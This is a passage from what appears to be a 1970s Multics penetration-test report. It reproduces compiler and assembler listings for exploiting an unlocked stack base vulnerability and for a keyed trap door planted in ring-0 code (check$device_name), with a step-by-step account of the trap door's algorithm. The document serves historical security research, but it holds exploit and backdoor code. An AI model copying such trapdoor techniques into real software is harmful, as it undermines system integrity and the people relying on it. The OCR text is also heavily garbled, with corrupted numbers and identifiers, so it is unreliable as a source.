Op172	Op173	Op174	Op175	Op176	Op177	Op178	Op179	Op180	Op181	Op182	Op183	Op184	Op185	Op186	Op187	Op188	Op189	Op190	Op191	Op192	Op193	Op194	Op195	Op196	Op197	Op198	Op199	Op200	Op201	Op202	Op203	Op204	Op205	Op206	Op207	Op208	Op209	Op210	Op211	Op212	Op213	Op214	Op215	Op216	Op217	Op218	Op219	Op220	Op221	Op222	Op223	Op224	Op225	Op226	Op227	Op228	Op229	Op230	Op231	Op232	Op233	Op234	Op235	Op236	Op237	Op238	Op239	Op240	Op241	Op242	Op243	Op244	Op245	Op246	Op247	Op248	Op249	Op250	Op251	Op252	Op253	Op254	Op255	Op256	Op257	Op258	Op259	Op260	Op261	Op262	Op263	Op264	Op265	Op266	Op267	Op268	Op269	Op270	Op271	Op272	Op273	Op274	Op275	Op276	Op277	Op278	Op279	Op280	Op281	Op282	Op283	Op284	Op285	Op286	Op287	Op288	Op289	Op290	Op291	Op292	Op293	Op294	Op295	Op296	Op297	Op298	Op299	Op300	Op301	Op302	Op303	Op304	Op305	Op306	Op307	Op308	Op309	Op310	Op311	Op312	Op313	Op314	Op315	Op316	Op317	Op318	Op319	Op320	Op321	Op322	Op323	Op324	Op325	Op326	Op327	Op328	Op329	Op330	Op331	Op332	Op333	Op334	Op335	Op336	Op337	Op338	Op339	Op340	Op341	Op342	Op343	Op344	Op345	Op346	Op347	Op348	Op349	Op350	Op351	Op352	Op353	Op354	Op355	Op356	Op357	Op358	Op359	Op360	Op361	Op362	Op363	Op364	Op365	Op366	Op367	Op368	Op369	Op370	Op371	Op372	Op373	Op374	Op375	Op376	Op377	Op378	Op379	Op380	Op381	Op382	Op383	Op384	Op385	Op386	Op387	Op388	Op389	Op390	Op391	Op392	Op393	Op394	Op395	Op396	Op397	Op398	Op399	Op400	Op401	Op402	Op403	Op404	Op405	Op406	Op407	Op408	Op409	Op410	Op411	Op412	Op413	Op414	Op415	Op416	Op417
----	-------------	----	-----	-----	-----	-----	-----	-----	-----	-----	-----	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------	-------

NO LITERALS

NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000352	50	000003	000000	
000353	20	000174	000001	
000354	00	003 162	143 165	rcu
000355	30	000006	000000	
000356	20	000166	000001	
000357	00	003 163	141 155	sem
000358	50	000011	000000	
000361	20	000160	000001	
000362	00	003 154	141 155	len
000363	30	000015	000000	
000364	20	000152	000001	
000365	00	004 154	141 143	laci
000366	00	154 000	000 000	
000367	50	000021	000000	
000370	20	000144	000001	
000371	00	004 163	155 151	selc
000372	00	143 000	000 000	
000373	50	000025	000000	
000374	20	000136	000001	
000378	00	004 163	155 143	sbcm
000376	00	155 000	000 000	
000377	50	000031	000000	
000400	20	000130	000001	
000401	00	004 162	155 143	rcba
000402	00	155 000	000 000	
000403	50	000034	000000	
000404	20	000122	000001	
000405	00	003 144	151 163	dis
000406	50	000040	000000	
000407	20	000114	000001	
000410	00	004 143	151 157	clcc
000411	00	143 000	000 000	
000412	30	000044	000000	
000413	20	000106	000001	
000414	00	004 163	144 142	sabr
000415	00	162 000	000 000	
000416	50	000050	000000	
000417	20	000100	000001	
000420	00	004 154	144 142	ldbr
000421	00	162 000	000 000	
000422	50	000053	000000	
000423	20	000072	000001	
000424	00	003 154	144 164	ldt
000425	50	000056	000000	
000426	20	000064	000001	
000427	00	003 163	143 165	scu
000430	50	000061	000000	
000431	20	000056	000001	
000432	00	003 143	141 155	cam
000433	50	000065	000000	
000434	20	000050	000001	
000435	00	007 151	144 137	ld_inst
000436	00	151 156	163 164	
000437	50	000072	000000	
000440	20	000042	000001	
000441	00	012 170	145 144	red_storer
000442	00	137 163	164 157	
000443	00	162 145	162 000	

000444	50	000077	000000	xed_fetcher
000445	20	000034	000001	
000446	00	013 170	145 144	
000447	00	137 146	145 164	
000448	00	143 150	145 162	
000449	50	000104	000000	
000450	20	000026	000001	illegal_bf
000451	00	012 151	154 154	
000452	00	143 147	141 154	
000453	00	137 142	146 000	
000454	50	000111	000000	
000455	20	000020	000001	legal_by
000456	00	010 154	145 147	
000457	00	141 154	137 142	
000458	00	146 000	000 000	
000459	50	000115	000000	
000460	20	000012	000001	try_op
000461	00	006 164	162 171	
000462	00	137 157	160 000	
000463	50	000123	000000	symbol_table
000464	20	000000	000002	
000465	00	014 163	171 155	
000466	00	142 157	154 137	
000467	00	164 141	142 154	
000468	50	145 000	000 000	
000469	20	000130	000000	
000470	00	000037	000002	rel_text
000471	00	010 162	145 154	
000472	00	137 164	145 170	
000473	00	164 000	000 000	
000474	50	000135	000000	rel_link
000475	20	010 162	145 154	
000476	00	137 164	145 170	
000477	00	164 000	000 000	rel_symbol
000478	50	000000	000000	
000479	20	012 162	145 154	
000480	00	137 163	171 155	
000481	00	142 157	154 000	clock
000482	50	000000	000000	sys_info
000504	00	010 162	145 154	
000505	00	137 154	151 156	
000506	00	153 000	000 000	
000507	50	000142	000000	
000511	00	012 162	145 154	
000512	00	137 163	171 155	
000513	00	142 157	154 000	
000514	00	000000	000000	

EXTERNAL NAMES

000515	00	000 143	154 157
000516	00	143 153	137 000
000517	00	010 163	171 163
000520	00	137 151	156 146
000521	00	157 000	000 000

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

000522	00	000004	000000
000523	55	000145	000143
000524	00	000001	000000
000525	00	000000	000000

000000	00	000000	000000
000001	00	000352	000000
000002	00	000000	000000
000003	00	000000	000000
000004	00	000000	000000
000005	00	000000	000000
000006	22	000010	000204
000007	32	000000	000204
000010	90	777778	000046
000011	50	001556	000017
000012	30	777766	370004
000013	10	000003	054004
000014	00	000331	627000
000015	10	777773	710024
000016	00	000000	000000
000017	00	000000	000000
000020	30	777760	370004
000021	10	000003	054004
000022	00	000267	627000
000023	10	777765	710024
000024	00	000000	000000
000025	00	000000	000000
000026	30	777752	370004
000027	00	000003	054004
000030	00	000310	627000
000031	10	777757	710024
000032	00	000000	000000
000033	00	000000	000000
000034	30	777744	370004
000035	00	000003	054004
000036	00	000212	627000
000037	10	777751	710024
000040	00	000000	000000
000041	00	000000	000000
000042	30	777736	370004
000043	00	000003	054004
000044	00	000224	627000
000045	10	777743	710024
000046	00	000000	000000
000047	00	000000	000000
000050	30	777730	370004
000051	00	000003	054004
000052	00	000240	627000
000053	10	777735	710024
000054	00	000000	000000
000055	00	000000	000000
000056	30	777722	370004
000057	00	000003	054004
000060	00	000000	627000
000061	00	777727	710024
000062	00	000000	000000
000063	00	000000	000000
000064	30	777714	370004
000065	10	000003	054004
000066	00	000010	627000
000067	10	777721	710024
000070	00	000000	000000
000071	00	000000	000000

```

o text l
(entry_sequence)

(entry_sequence)

(entry_sequence)

(entry_sequence)

(entry_sequence)

(entry_sequence)

(entry_sequence)

```

000072	30	777746	3700 04	(entry_sequence)
000073	-0	000003	0540 04	
000074	00	000020	6270 00	
000075	L0	777713	7100 24	
000076	00	000000	000000	
000077	00	000000	000000	
000100	30	777700	3700 04	(entry_sequence)
000101	L0	000003	0540 04	
000102	00	000030	6270 00	
000103	-0	777705	7100 24	
000104	00	000000	000000	
000105	00	000000	000000	
000106	30	777672	3700 04	(entry_sequence)
000107	L0	000003	0540 04	
000110	00	000040	6270 00	
000111	L0	777677	7100 24	
000112	00	000000	000000	
000113	00	000000	000000	
000114	30	777664	3700 04	(entry_sequence)
000115	00	000003	0540 04	
000116	00	000050	6270 00	
000117	L0	777671	7100 24	
000120	00	000000	000000	
000121	00	000000	000000	
000122	30	777656	3700 04	(entry_sequence)
000123	L0	000003	0540 04	
000124	00	000060	6270 00	
000125	L0	777663	7100 24	
000126	00	000000	000000	
000127	00	000000	000000	
000130	30	777650	3700 04	(entry_sequence)
000131	L0	000003	0540 04	
000132	00	000070	6270 00	
000133	-0	777655	7100 24	
000134	00	000000	000000	
000135	00	000003	000000	
000136	30	777642	3700 04	(entry_sequence)
000137	-0	000003	0540 04	
000140	00	000100	5270 00	
000141	-0	777647	7100 24	
000142	00	000000	000000	
000143	00	000000	000000	
000144	30	777634	3700 04	(entry_sequence)
000145	L0	000003	0540 04	
000146	00	000110	6270 00	
000147	L0	777641	7100 24	
000150	00	000000	000000	
000151	00	000000	000000	
000152	30	777626	3700 04	(entry_sequence)
000153	L0	000003	0540 04	
000154	30	000120	6270 00	
000155	L0	777633	7100 24	
000156	00	000000	000000	
000157	00	000000	000000	
000160	30	777620	3700 04	(entry_sequence)
000161	L0	000003	0540 04	
000162	00	000130	6270 00	
000163	L0	777625	7100 24	
000164	00	000000	000000	

000165	00	000000	000000
000166	30	777612	3700 04
000167	00	000000	0540 04
000170	00	000140	6270 00
000171	00	777617	7100 24
000172	00	000000	000000
000173	00	000000	000000
000174	30	777604	3700 04
000175	00	000000	0540 04
000176	00	000150	6270 00
000177	00	777611	7100 24
000200	00	000000	000000
000201	00	000000	000000
000202	30	777576	0000 00
000203	50	000154	0000 20

(entry_sequence)

(entry_sequence)

sys_info1clock2_

SYMBOL INFORMATION

SYMBOL TABLE HEADER

000000	00	000000	001001
000001	00	240000	000013
000002	00	000000	001045
000003	00	240000	000427
000004	00	000000	001452
000005	00	141711	067671
000006	00	000000	001561
000007	00	726122	210541
000010	00	000000	000000
000011	00	000000	000002
000012	00	000000	000000
000013	00	000530	000204
000014	00	000000	001474
000015	00	240000	000440
000016	00	003141	154155
000017	00	037101	114115
000020	00	040126	145162
000021	00	163151	187156
000022	00	040064	056004
000023	00	054040	123145
000024	00	100164	145155
000025	00	142145	182040
000026	00	061071	067003
000027	00	163165	142166
000030	00	040040	040040
000031	00	040040	040040
000032	00	040040	040040
000033	00	040040	040040
000034	00	040040	040040
000035	00	040040	040040
000036	00	040040	040040

MULTICS ASSEMBLY CROSS REFERENCE LISTING

Value	Symbol	Source file	Line number	5,	6,	7,	8,	9,	10,	11,	12,	13,
	*text	subvi	2,	3,								
330	arg_0	subvi	14,	15,								
50	bases	subvi	205,	210,								
171	bases_loop	subvi	25,	97,								
386	bounds_pair	subvi	109,	114,								
P	can	subvi	184,	188,								
50	clock	subvi	8,	28,								
	clock_	subvi	13,	50,								
70	control	subvi	104,									
60	dis	subvi	26,	99,								
254	fetch_succeeded	subvi	14,	55,								
240	ld_inst	subvi	139,	150,								
310	illegal_by	subvi	7,	151,								
120	iscl	subvi	4,	193,								
130	lan	subvi	18,	75,								
30	ldbr	subvi	19,	60,								
20	ldt	subvi	11,	40,								
267	legal_by	subvi	18,	36,								
3	len_order_time	subvi	3,	179,								
160	master_node_succeeded	subvi	23,	186,								
		subvi	38,	36,	42,	47,	52,	57,	62,	67,	72,	77,
		subvi	87,	92,	10,	17,	19,	28,	21,			82,
150	rcu	subvi	21,	90,								
60	registers	subvi	25,	98,								
177	regs_loop	subvi	117,	123,								
70	rcm	subvi	15,	68,								
140	saa	subvi	28,	85,								
5	save_area	subvi	24,	111,								
10	scu	subvi	9,	32,								
40	sdr	subvi	12,	45,								
107	smca	subvi	16,	65,								
110	smic	subvi	17,	78,								
	sys_info	subvi	104,									
2	time_of_failure	subvi	22,	105,								
331	try_op	subvi	2,	206,								
261	xed_fetch	subvi	138,	163,								
212	xed_fetcher	subvi	5,	132,								
262	xed_fetch_pair	subvi	164,	156,								
265	xed_store	subvi	147,	174,								
224	xed_storer	subvi	6,	142,								
264	xed_store_pair	subvi	170,	175,								

FATAL ERRORS ENCOUNTERED

APPENDIX B

Unlocked Stack Base Listing

This appendix contains listings of the four modules which make up the code needed to exploit the Unlocked Stack Base Vulnerability described in Section 3.3.3. The first two procedures, `dl` and `dla`, implement step one of the vulnerability - inserting code into `emergency_shutdown.link` (referred to in the listings as `esd.link`.) The last two procedures, `fl` and `fia`, implement step two of the vulnerability - actually using the inserted code to read or write any 36 bit quantity in the system. Figure 9 in the main text corresponds to `dl` and `dla`. Figure 10 corresponds to `fl` and `fia`. As in Appendix A, obsolete 645 instructions are flagged by the assembler.

COMPIATION LISTING OF SEGMENT d1
 Compiled by: Multics PL/I Compiler, Version II of 30 August 1973.
 Compiled on: 04/10/74 1030.9 edt Hed
 Options: sep

```

1 d1:
2
3
4 /* Procedure to place trapdoor in emergency_shutdown.link */
5 declare
6   ring0_get_segptr entry (char (*), char (*), ptr, fixed bin),
7   sp ptr,
8   code fixed bin,
9   com_err_entry options (variable),
10  i fixed bin,
11  i1 entry (ptr, bit (36) aligned),
12  dis entry (ptr, ptr),
13  moffset fixed bin int static init (296),
14  mvp ptr;
15 call ring0_get_segptr ("", "signaller", sp, code); /* get segment number of signaller */
16 if code = 0 then
17   do;
18 error:
19   call com_err_ (code, "d1");
20   return;
21 end;
22 call ring0_get_segptr ("", "emergency_shutdown.link", mvp, code); /* get segment number of emergency_shutdown.link */
23
24 if code = 0 then go to error;
25
26 call d1c (sp, addrel (mvp, moffset)); /* call a1c program to finish */
27 do i = moffset to moffset+11, moffset+14 to moffset+23; /* zero out all but 2 instruction patch */
28   call i1 (addrel (mvp, i), "b"); /* other words were filled from registers */
29 end;
  
```

*/

NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER	OFFSET	LOC	STORAGE CLASS	DATA TYPE	ATTRIBUTES AND REFERENCES
NAMES DECLARED BY DECLARE STATEMENT.					
code	000102		automatic	fixed bin(17,0)	dcl 6 set ref 15 16 18 22 23
com_err_	00014		constant	entry	external dcl 6 ref 18
dia	00020		constant	entry	external dcl 6 ref 25
fl	00016		constant	entry	external dcl 6 ref 27
l	000103		automatic	fixed bin(17,0)	dcl 6 set ref 26 27 27
swofirst	constant			fixed bin(17,0)	initial dcl 6 ref 25 25 26 26 26 26
exp	000104		automatic	pointer	dcl 6 set ref 26 25 25 27 27
ring0_get_segptr	00012		constant	entry	external dcl 6 ref 15 22
sp	000100		automatic	pointer	dcl 6 set ref 15 25

NAMES DECLARED BY EXPLICIT CONTEXT.					
dl	00020		constant	entry	external dcl 1 ref 1
error	00061		constant	label	dcl 18 ref 18 23

NAME DECLARED BY CONTEXT OR IMPLICATION.					
addr				builtin function	internal ref 25 25 27 27

STORAGE REQUIREMENTS FOR THIS PROGRAM.

Start	Object	Text	Link	Symbol	Data	Static
Length	454	220	270	312	228	300
			22	127	50	12

External procedure dl uses 118 words of automatic storage

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

call_ext_out_gosc	call_ext_out	return	ext_entry
-------------------	--------------	--------	-----------

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

com_err_	dia	fl	ring0_get_segptr
----------	-----	----	------------------

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

LINE	LOC	LINE	LOC	LINE	LOC	LINE	LOC
1	00017	15	00025	28	000180	22	000181
25	000134	26	000150	29	000217	23	000132

```

ASSEMBLY LISTING OF SEGMENT >user_dir_dir>Druid>Karger>compiler_pool>dia.sia
ASSEMBLED ON: 04/11/74 1824.7 edt Thu
OPTIONS USED: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4, September 1973
ASSEMBLER CREATED: 02/13/74 1720.8 edt Wed

```

000000	000000	1	new	die	
000000	000000	2	entry	dia	
000000	000000	3	temp	return_pointer,do_1t_ptr	
000000	000000	4	push		
000000	000000	5	ldq	hed_inst	"Instructions in AQ
000000	000000	6	exbb	return_inst	"pointer to return point
000000	000000	7	stbb	return_pointer	
000000	000000	8	exlp	return_pointer-10	"signaller does tra lp10,0
000000	000000	9	exbb	ap14,0	"pointer to esd.link
000000	000000	10	exbb	ap10,0	
000000	000000	11	stbb	do_1t_ptr	
000000	000000	12	exbb	ap12,0	
000000	000000	13	exbb	ap10,0	"ptr to signaller
000000	000000	14	exbb	sp10	"move stack ptr
000000	000000	15	exbb	do_1t_ptr,0	"ptr to esd.link into sp
000000	000000	16	exbb	-1	
000000	000000	17	tra	ap10	"transfer to signaller
000000	000000	18	return_inst		
000000	000000	19	exbb	ap10	"restore stack ptr
000000	000000	20	return		
000000	000000	21	even	on	"so tradoor isn't interrupted
000000	000000	22	imblit	on	"here's the tradoor!
000000	000000	23	hed_inst	ap10	
000000	000000	24	tra	ap12	
000000	000000	25	imblit	off	"so tradoor can return
000000	000000	26			
000000	000000	27	end		
000000	000000	28			

NO LITERALS

NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000032	30	000003	000000
000033	20	000012	000001
000034	00	003144	151141
000035	50	000011	000000
000036	50	000000	000002
000037	00	014163	171155
000040	00	142157	154137
000041	00	164141	142154
000042	00	145000	000000
000043	50	000016	000000
000044	50	000037	000002
000045	00	010162	145154
000046	00	137164	145170
000047	00	104000	002030
000048	50	000023	000000
000052	00	010162	145154
000053	00	137154	151150
000054	00	153000	000000
000055	50	000030	000000
000057	00	012162	145154
000058	00	137163	171155
000061	00	142157	154000
000062	00	000000	000000

die

symbol_table

rel_text

rel_link

rel_symbol

NO EXTERNAL YAMFS

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

000043	00	000001	000000
000044	00	000000	000000

INTERNAL EXPRESSION WORDS

000055	50	000031	000000
--------	----	--------	--------

LINKAGE INFORMATION

000000	00	000000	000000
000001	00	00032	000000
000002	00	000000	000000
000003	00	000000	000000
000004	00	000000	000000
000005	00	000000	000000
000006	22	00010	000020
000007	02	000000	000020
000010	30	777770	000046
000011	50	000033	000017
000012	30	777766	370004
000013	-0	000003	054004
000014	00	000000	627000
000015	-0	777773	710024
000016	00	000000	000000
000017	00	000000	000000

TEXT

(entry_sequence)

SYMBOL INFORMATION

SYMBOL TABLE HEADER

000000	00	000000	001001
000001	00	240000	000033
000002	00	000000	001045
000003	00	240000	000427
000004	00	000000	001452
000005	00	141711	067671
000006	00	000000	101561
000007	00	717414	003357
000010	00	000000	000000
000011	00	000000	000002
000012	00	000000	000000
000013	00	000066	000020
000014	00	000000	001474
000015	00	240000	000440
000016	00	003141	154155
000017	00	037101	114115
000020	00	040126	145162
000021	00	163151	157156
000022	00	040064	056064
000023	00	054040	123145
000024	00	160164	145155
000025	00	142145	162040
000026	00	061071	067063
000027	00	144151	141040
000030	00	040040	040040
000031	00	040040	040040
000032	00	040040	040040
000033	00	040040	040040
000034	00	040040	040040
000035	00	040040	040040
000036	00	040040	040040

MULTICS ASSEMBLY CROSS REFERENCE LISTING

Value	Symbol	Source file	Line number
0	*text	dia:	2.
52	dia	dia:	2.
23	do_if_ptr	dia:	3.
50	return_inst	dia:	11.
30	return_pointer	dia:	6.
	xed_inst	dia:	3.
		dia:	24.
			15.
			8.

NO FATAL ERRORS

COMPILATION LISTING OF SEGMENT f1
 Compiled by: Multics PL/I Compiler, Version II of 30 August 1973.
 Compiled on: 84/10/74 1240.9 edt Med
 Options: map

```

1 f1:
2   proc (fixp, word);
3
4   /* Entry to store 36 bits */
5
6   declare
7     ring8_get_segptr entry (char (*), char (*), ptr, fixed bin),
8     moffset fixed bin int static init (296),
9     ( sp,
10      mwp)
11   ptr,
12   code fixed bin,
13   fixp ptr,
14   word bit (36) aligned,
15   file entry (ptr, ptr, ptr, bit (36) aligned),
16   com_err_entry options (variable),
17   flaggle entry (ptr, ptr, ptr, bit (36) aligned),
18   fix bit (1) aligned;
19   fix = "1-b";
20   go to common;
21
22
23 918
24   entry (fixp, word);
25
26   fix = "8-b";
27
28 common:
29   call ring8_get_segptr ("", "signaller", sp, code); /* get segment number of signaller */
30   if code = 0 then
31     do;
32       call com_err_ (code, "f1");
33       return;
34     end;
35   call ring8_get_segptr ("", "emergency_shutdown.link", mwp, code); /* get segment number of emergency_shutdown.link
36
37   if code = 0 then go to error;
38   if fix then call file (sp, addrel (mwp, moffset+12), fixp, word); /* call aim program to finish */
39   else call flaggle (sp, addrel (mwp, moffset+12), fixp, word);
40
41   end;
  
```

NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER	OFFSET	LOC	STORAGE CLASS	DATA TYPE	ATTRIBUTES AND REFERENCES
NAMES DECLARED BY DECLARE STATEMENT.					
code	000104		automatic	fixed bin(17,9)	dcl 7 set ref 28 30 32 34 37
com_err_	000116		constant	entry	external dcl 7 ref 32
file	000114		constant	entry	external dcl 7 ref 30
flagla	000020		constant	entry	external dcl 7 ref 39
fix	000105		automatic	bit(1)	dcl 7 set ref 19 25 35
fixp			parameter	pointer	dcl 7 set ref 1 23 30 39
offsetset			constant	fixed bin(17,9)	initial dcl 7 ref 30 38 39 39
swp	000102		automatic	pointer	dcl 7 set ref 36 38 38 39 39
ring8_get_ssgotr	000012		constant	entry	external dcl 7 ref 28 36
sp	000108		automatic	pointer	dcl 7 set ref 28 38 39
word			parameter	bit(36)	dcl 7 set ref 1 23 38 39
NAMES DECLARED BY EXPLICIT CONTEXT.					
comcon	000048		constant	label	dcl 28 ref 28 28
error	000076		constant	label	dcl 32 ref 32 37
fl	000021		constant	entry	external dcl 1 ref 1
gl	000032		constant	entry	external dcl 23 ref 23
NAME DECLARED BY CONTEXT OR IMPLICATION.					
addrref				builtin function	internal ref 38 38 39 39

STORAGE REQUIREMENTS FOR THIS PROGRAM:

Start Length	Object	Text	Link	Symbol	Defs	Static
0	0	0	304	326	224	314
478	224	22	22	130	60	12

External procedure fl uses 114 words of automatic storage

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

coll_ext_out_desc coll_ext_out return ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

com_err_ fla flagla

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

LINE	LOC	LINE	LOC	LINE	LOC	LINE	LOC
1	000020	19	000026	23	000031	26	000037
32	000076	34	000115	37	000152	38	000154
						39	000201
						40	000223
						39	00074
						40	000223

000052	16	777777	6200	00	43		
000053	16	0 00000	7101	20	44	eax0	"transfer to signifier
000054					45	fre	
000054					46	even	
000054	16	6 00052	2363	20	47	ldq_stq_in_arg1	
000055	16	6 00054	7563	20	48	ldq	
000056	16	6 00020	1731	20	49	stq	
000057	16	6 00010	0731	00	50	inhibit	
000058	16	6 00024	6101	00	51	return	
					52	end	

NO LITERALS

"trapdoor xed's these
 "load thru ptr
 "store in output argument
 "trapdoor does the b012
 "and returns here

-1
 b010.e
 on
 fixp.e
 wordp.e
 off

NAME DEFINITIONS FOR ENTRY POINTS AND SEGMENTS

```

000062 50 000003 000000
000063 20 000020 000001
000064 00 003 147 151 141
000065 50 000006 000000
000066 20 000012 000001
000067 00 003 146 151 141
000070 50 000014 000000
000071 50 000000 000002
000072 00 014 163 171 155
000073 00 142 157 154 137
000074 00 164 141 142 154
000075 00 145 000 000 000
000076 50 000021 000000
000077 50 000037 000002
000100 00 010 162 145 154
000101 00 137 164 145 170
000102 00 164 000 000 000
000103 50 000026 000000

000105 50 010 162 145 154
000106 00 137 154 151 156
000107 00 153 000 000 000
000110 50 000033 000000

000112 00 012 162 145 154
000113 50 137 163 171 155
000114 00 142 157 154 000
000115 00 000000 000000

```

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

```

000116 00 000001 000000
000117 00 000000 000000

```

INTERNAL EXPRESSION WORDS

```

000120 50 000034 000000
000121 00 000000 000000

```

LINKAGE INFORMATION

000000	00	000000	000000
000001	00	000062	000000
000002	00	000000	000000
000003	00	000000	000000
000004	00	000000	000000
000005	00	000000	000000
000006	22	000010	000026
000007	02	000000	000026
000010	30	777770	0000 46
000011	50	000036	0000 17
000012	30	777766	3700 34
000013	L0	500023	0540 04
000014	30	000000	6270 00
000015	L0	777773	7100 24
000016	00	000000	000000
000017	00	000000	000000
000020	30	777760	3700 04
000021	-0	000003	0540 04
000022	00	000031	6270 00
000023	L0	777765	7100 24
000024	00	000000	000000
000025	00	000000	000000

*text i
(entry_sequence)

(entry_sequence)

SYMBOL INFORMATION

SYMBOL TABLE HEADER

000001	00	000000	001001
000002	00	240000	000033
000003	00	000000	001045
000004	00	240000	000427
000005	00	000000	001452
000006	00	141711	067671
000007	00	000000	001561
000008	00	720061	037647
000009	00	000000	000008
000010	00	000000	000002
000011	00	000000	000000
000012	00	000000	000000
000013	00	000122	000026
000014	00	000000	001474
000015	00	240000	000440
000016	00	003141	154155
000017	00	037101	114115
000018	00	040126	145162
000019	00	163151	157156
000020	00	040004	056004
000021	00	054040	123145
000022	00	160164	145155
000023	00	142145	162040
000024	00	061071	067063
000025	00	140151	141040
000026	00	040040	040040
000027	00	040040	040040
000028	00	040040	040040
000029	00	040040	040040
000030	00	040040	040040
000031	00	040040	040040
000032	00	040040	040040
000033	00	040040	040040
000034	00	040040	040040
000035	00	040040	040040
000036	00	040040	040040

MULTICS ASSEMBLY CROSS REFERENCE LISTING

Value	Symbol	Source file	Line number
0	*text	file	3.
52	file	file	2.
31	fixp	file	7.
24	gla	file	13.
54	ldq_stq	file	31.
50	ldq_stq_in_arg	file	18.
56	trap	file	25.
54	word	file	41.
	wordp	file	5.
		file	16.
		file	5.
		file	6.
		file	10.
		file	25.
		file	33.
		file	49.
		file	26.
		file	36.
		file	48.
		file	39.
		file	40.

NO FATAL ERRORS

APPENDIX C

Trap door in check\$device_name Listing

This appendix contains listings of the trap door inserted in check\$device_name in Section 3.4.5.2 and the two modules needed to call the trap door. Check\$device_name is actually one entry point in the procedure check\$device_index. The patches are shown in the assembly language listing of the code produced by the PL/I compilation of check\$device_index. Most of the patches were placed in the entry sequence to check\$device_index, taking advantage of the fact that PL/I entry sequences contain the ASCII representation of the entry name for debugging purposes. Since the debugger cannot run in ring 0, this is essentially free patching space. Additional patches were placed at each return point from check\$device_name, so that the trap door would be executed whenever check\$device_name returned to its caller.

Zg is a PL/I procedure which calls the trap door to either read or write any 36-bit word accessible in ring 0. Zg uses zdata, an assembly language routine, to define a structure in the linkage section which contains machine instructions with which to communicate with the trap door.

The trap door algorithm is as follows:

1. Set the bp register to point to the argument rcode. Rcode has been bound to zdata\$code in the procedure call from zg and must lie on an odd word boundary.
2. Compare the double word at bp|1 with the key string in the trap door to see if this is a legitimate user calling. If the keys do not match, then just return. If the keys do match, then we know who this is and must proceed.
3. Do an execute double (XED) on the two instruction at bp|3. This allows the caller to provide any instructions desired.
4. The two instructions provided by zdata at bp|3 and bp|5 are ldq bp|5 and stq bp|7. Bp|5 and bp|7 contain pointers to the locations from which to read and to which to write, respectively. These pointers are set in zg.
5. Finally, the trap door simply returns upon completion of the XED pair.

COMPILATION LISTING OF STORMZ CHECK
 Compiled by: Notices PL/I Compiler, Version of 3 October 1972,
 Compiled on: 02/21/74 1115.3 EDT THU

```

checkedevise_index: proc (devx, dp, cctp, rcode);
  dcl devx fixed bin (12),
    /* dp ptr, */
    cctp ptr,
    rcode fixed bin (17),
    corno fixed bin (18);

    dcl code fixed bin (17);
    dcl load_check ext entry;

  dcl error_table_devx_no_cet ext fixed bin,
    error_table_devx_at_essend ext fixed bin,
    error_table_devx_badary ext fixed bin;

/* BEGIN INCLUDE ..... dcl ..... */
/* Declaration for the Device Configuration Table */
dcl 1 dcl_ssg0 ext aligned,
  2 ndev fixed bin (17),
  2 dseg (300 /* devnam_max */ ),
  3 devnam char (32),
  3 physnam char (32),
  3 vigeno fixed bin (3),
  3 physcha fixed bin (12),
  3 direct_chan bit (1);

/* END INCLUDE ..... dcl ..... */

/* BEGIN INCLUDE ..... cat ..... */
/* Channel Assignment Table for the SIOC Interface Module */
dcl 1 cat_ssg0 ext aligned,
  2 event fixed bin,
  2 aba_base fixed bin (24),
  2 stat_base bit (3),
  2 safep ptr,
  2 devtab (200),
  (3 cceno bit (18),
    /* SIOK wait event */
    /* absolute address of base of DCV segment */
    /* status channel used by SIOK */
    /* pointer to safety DCV pair */
    /* per-device-index information accessed */
